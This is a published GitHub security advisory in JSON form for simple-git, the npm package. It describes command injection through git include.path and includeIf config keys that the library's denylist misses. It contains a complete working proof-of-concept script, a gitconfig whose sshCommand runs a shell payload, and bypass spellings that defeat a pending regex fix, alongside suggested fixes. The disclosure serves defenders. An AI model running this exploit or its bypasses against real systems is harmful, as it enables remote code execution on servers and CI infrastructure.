{"id":"GHSA-g4wm-2vf7-vfgr","summary":"simple-git allows command execution through unblocked Git configuration includes","details":"## Summary\n\nAn OS command injection vulnerability in `git.clone()` allows any application that flows attacker-influenced data into `customArgs` to execute arbitrary code. simple-git 3.36.0 (current latest on npm) ships without any `include.path` entry in the `blockUnsafeOperationsPlugin` denylist. Passing `-c include.path=\u003cfile\u003e` via customArgs loads any local file as a gitconfig. The loaded file can set `core.sshCommand` (or any otherwise-denied key), and the next remote operation in the same clone executes the attacker's command.\n\nPR #1167 (merged to main 2026-05-10, not yet released to npm) adds `preventConfigBuilder('include.path', 'allowUnsafeInclude')` to the denylist. The generated regex `/\\s*include.path/` closes the plain spelling but does not match the conditional form `includeIf.\u003ccond\u003e.path`. The variant therefore survives the upcoming release if the regex is not tightened in the same cycle.\n\nThis sits in the same denylist class as the prior incomplete-fix chain (CVE-2022-24433, CVE-2022-24066, CVE-2022-25912, CVE-2022-25860, CVE-2026-28291, CVE-2026-28292). `include` and `includeIf` are not referenced in any published advisory, in any commit prior to PR #1167, or anywhere in the 3.36.0 source.\n\n## Details\n\nTwo sinks share the same root cause: the denylist is incomplete.\n\n### Sink A: published 3.36.0 has no `include.path` entry\n\n`packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts` in the v3.36.0 tag contains no entry for `include.path` or `includeIf.*.path`. The argv parser recognises `-c include.path=\u003cfile\u003e` and `-c includeIf.\u003ccond\u003e.path=\u003cfile\u003e` as config writes, but `detectVulnerableConfigWrites` iterates a denylist that does not include either key. The plugin returns no vulnerability and the operation proceeds.\n\n### Sink B: pending PR #1167 regex misses `includeIf`\n\nPR #1167 adds:\n\n```ts\nconst preventUnsafeConfig = [\n   // ...\n   preventConfigBuilder('include.path', 'allowUnsafeInclude'),\n   // ...\n];\n```\n\n`preventConfigBuilder` constructs a non-anchored regex from the string:\n\n```ts\nfunction preventConfigBuilder(config, category, message) {\n   const regex = typeof config === 'string'\n      ? new RegExp(`\\\\s*${config.toLowerCase()}`)\n      : config;\n   return function preventCommand(key) {\n      if (regex.test(key)) { /* throw */ }\n   };\n}\n```\n\nFor `'include.path'`, the generated regex is `/\\s*include.path/`. The `.` between `include` and `path` is a regex wildcard. The engine matches `include` plus exactly one arbitrary character plus `path`. Conditional include keys have the form `includeIf.\u003ccondition\u003e.path` (`includeIf.gitdir:.path`, `includeIf.onbranch:main.path`, `includeIf.hasconfig:r.u:**.path`, etc.). The substring between `include` and `path` is `if.\u003ccondition\u003e:`, always longer than one character. The 11-character match window cannot align and the test returns false.\n\n```js\n/\\s*include.path/.test('include.path')                    // true\n/\\s*include.path/.test('includeif.gitdir:.path')          // false\n/\\s*include.path/.test('includeif.onbranch:main.path')    // false\n```\n\nThe argv parser at `packages/argv-parser/src/argv/analyse-config.ts` correctly recognises both `include.path=...` and `includeIf.gitdir:.path=...` as config writes; both yield a `ConfigWrite` with the lowercased key. The defect is purely in the denylist regex (after PR #1167) and in the entry being absent (before PR #1167).\n\n### Exploitation chain\n\n1. Attacker writes a gitconfig to any path the simple-git process can read. Realistic write primitives: file upload (avatar, attachment, CI artifact, S3-mounted bucket), shared `/tmp` in multi-tenant runners, log poisoning that lands `[core]` headers in a log path, predictable artifact paths, container volume mounts the attacker controls.\n\n   ```\n   [core]\n   sshCommand = \"/bin/sh -c 'id \u003e /tmp/pwned; touch /tmp/RCE'\"\n   ```\n\n2. Attacker triggers `git.clone()` with crafted `customArgs`. Either the URL or the customArgs flow from attacker-influenced input. This is the documented threat model of `blockUnsafeOperationsPlugin`.\n\n3. `cloneTask` assembles `['clone', '-c', '\u003cpayload\u003e', pathspec(url), pathspec(dst)]`.\n\n4. `blockUnsafeOperationsPlugin` runs `parseArgv` and `collectWriteFlags`, yielding the write. `detectVulnerableConfigWrites` iterates the denylist. In 3.36.0 the denylist has no entry. After PR #1167 the denylist has an entry but its regex does not match `includeif.gitdir:.path`. Either way, no vulnerability is yielded and the plugin permits the operation.\n\n5. `suffixPathsPlugin` moves pathspec items to the suffix. Final argv: `git clone -c \u003cpayload\u003e -- ssh://target.example/repo.git /tmp/dst`.\n\n6. `git clone` has its own `-c` / `--config` option (`-c \u003ckey\u003e=\u003cvalue\u003e, --config \u003ckey\u003e=\u003cvalue\u003e` per `git clone --help`), so a `-c` immediately after the subcommand is honoured by clone itself. Git evaluates the include (the conditional form uses an empty `gitdir:` pattern that matches the current gitdir), reads `/tmp/attacker.cfg`, registers `core.sshCommand`.\n\n7. Git invokes ssh through the configured command. Attacker's shell payload runs in the simple-git process's context.\n\n`git clone` is the unique git subcommand that honours `-c` after itself. `git fetch -c k=v`, `git pull -c k=v`, `git push -c k=v` all reject the placement (those subcommands treat `-c` as a global option that must precede them). Since simple-git always places the subcommand at argv[0], user-controlled `-c` in `customArgs` always lands after the subcommand. Clone is the entry point for both sinks.\n\n### Secondary chain: `HOME` and `XDG_CONFIG_HOME` not in `parseEnv` denylist\n\n`packages/argv-parser/src/env/parse-env.ts:5-25` lists env keys removed from the spawned-process environment when sourced from `git.env(...)`. `HOME`, `XDG_CONFIG_HOME`, and similar config-resolution keys are absent. Calling `git.env({HOME: '/tmp/fake-home'})` makes git read `/tmp/fake-home/.gitconfig`, which the attacker controls. Same exploit primitive, parallel surface. Should be addressed in the same fix.\n\n## PoC\n\nReproduction from a clean install:\n\n```bash\nmkdir /tmp/sg-poc && cd /tmp/sg-poc\nnpm init -y\nnpm install simple-git@3.36.0\ncat \u003e poc.js \u003c\u003c'EOF'\nconst { simpleGit } = require('simple-git');\nconst fs = require('fs');\n\nfs.writeFileSync('/tmp/sg-attacker.cfg',\n   `[core]\\nsshCommand = \"/bin/sh -c 'id \u003e /tmp/sg-id; touch /tmp/sg-pwned'\"\\n`);\n\nconst git = simpleGit({ baseDir: '/tmp' });\n\n(async () =\u003e {\n   // Sink A: plain include.path works on published 3.36.0 (no denylist entry).\n   // Swap to 'includeIf.gitdir:.path=...' to demonstrate Sink B against PR #1167.\n   const payload = 'include.path=/tmp/sg-attacker.cfg';\n\n   try {\n      await git.clone(\n         'ssh://nonexistent.example.com/repo.git',\n         '/tmp/sg-rce-dst',\n         ['-c', payload]\n      );\n   } catch (_) { /* clone fails after sshCommand has already run */ }\n\n   await new Promise(r =\u003e setTimeout(r, 500));\n   console.log(fs.readFileSync('/tmp/sg-id', 'utf8'));\n})();\nEOF\nnode poc.js\n```\n\nOutput on simple-git 3.36.0:\n\n```\nuid=0(root) gid=0(root) groups=0(root)\n```\n\nSwapping the payload to `'includeIf.gitdir:.path=/tmp/sg-attacker.cfg'` reproduces the same RCE on 3.36.0 and is the variant that will survive the PR #1167 release.\n\n## Impact\n\nPre-authentication remote code execution in any server that flows attacker-influenced data into `customArgs` of `clone()` or `mirror()`. simple-git is approximately 9.4M weekly downloads on npm. Affected consumer patterns:\n\n- CI/CD systems and custom GitHub Actions / Buildkite plugins / GitLab cache helpers\n- PaaS and hosting platforms that accept customer-tunable git options\n- Code analyzers and security scanners that clone user-supplied repos\n- Bot frameworks (Probot, GitOps controllers) that wrap simple-git\n- AI agent frameworks that auto-clone repositories for analysis\n- VS Code extensions, Electron tools, and dev tooling that pass options through\n\nThe chain needs one byte of attacker-writable, process-readable storage in addition to customArgs influence. In consumers where the file-write primitive is co-located with the clone trigger (single-request file upload + clone, multi-tenant CI runners with shared `/tmp`, agent frameworks that write per-task scratch files), this is effectively unauthenticated pre-auth RCE with `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critical`. The form value uses the conservative `AC:H = 8.1` baseline that accounts for the separate-request case.\n\n## Distinction from prior advisories and pending fix\n\nReviewed the published GHSA list at `steveukx/git-js/security/advisories`. Two advisories are published:\n\n- GHSA-jcxm-m3jx-f287 (CVE-2026-28291, High): generic option-parsing class addressed by the 3.32.0 refactor\n- GHSA-r275-fr43-pm7q (CVE-2026-28292, Critical): case-insensitive `protocol.allow` form\n\nNeither mentions `include`, `includeIf`, or conditional includes. The terms do not appear anywhere in source files, tests, or commits in the repository at any tagged release. PR #1167 (merged to main 2026-05-10) is the first commit anywhere in the repository to reference `include.path`. It addresses the plain form but its regex misses the conditional `includeIf.\u003ccond\u003e.path` spelling.\n\nThe published 3.36.0 vulnerability (Sink A) is unaddressed in any released version. The pending PR #1167 (Sink B) addresses the plain key but leaves the conditional variant open. Both should land in one release.\n\n## Suggested fix\n\nIn `packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts`, add the plain `include.path` entry and ensure conditional forms are covered:\n\n```ts\npreventConfigBuilder('include.path', 'allowUnsafeInclude'),\npreventConfigBuilder(/^\\s*includeif[^.]*(\\..+)*\\.path/i, 'allowUnsafeInclude', 'include.path'),\n```\n\nAlternatively pre-process the key in `parseAssignment` to strip the `if.\u003ccondition\u003e:` decoration before testing against `include.path`, since `includeIf` is semantically equivalent to `include` for security purposes.\n\nStronger, longer-term fix: invert the model. Reject any `-c`, `--config`, `--config-env` in `customArgs` unconditionally and require callers to use the typed `config:` option (already prefix-checked through the same plugin). Git's config namespace is open-ended; new dangerous keys land in every git release. A denylist will need new entries indefinitely.\n\nAlso extend `parseEnv` to drop `HOME`, `XDG_CONFIG_HOME`, and any env key that affects config-file resolution.","aliases":["CVE-2026-102826"],"modified":"2026-10-06T00:00:11.054847650Z","published":"2026-10-05T23:48:05Z","database_specific":{"nvd_published_at":"2026-09-29T19:17:24Z","cwe_ids":["CWE-77","CWE-78"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-10-05T23:48:05Z"},"references":[{"type":"WEB","url":"https://github.com/steveukx/git-js/security/advisories/GHSA-g4wm-2vf7-vfgr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102826"},{"type":"WEB","url":"https://github.com/steveukx/git-js/pull/1193"},{"type":"WEB","url":"https://github.com/steveukx/git-js/commit/98864c678444d9336357c844efa4fd5a7984c0d7"},{"type":"PACKAGE","url":"https://github.com/steveukx/git-js"},{"type":"WEB","url":"https://github.com/steveukx/git-js/releases/tag/simple-git@4.0.0"}],"affected":[{"package":{"name":"simple-git","ecosystem":"npm","purl":"pkg:npm/simple-git"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.0.0"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 3.36.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-g4wm-2vf7-vfgr/GHSA-g4wm-2vf7-vfgr.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}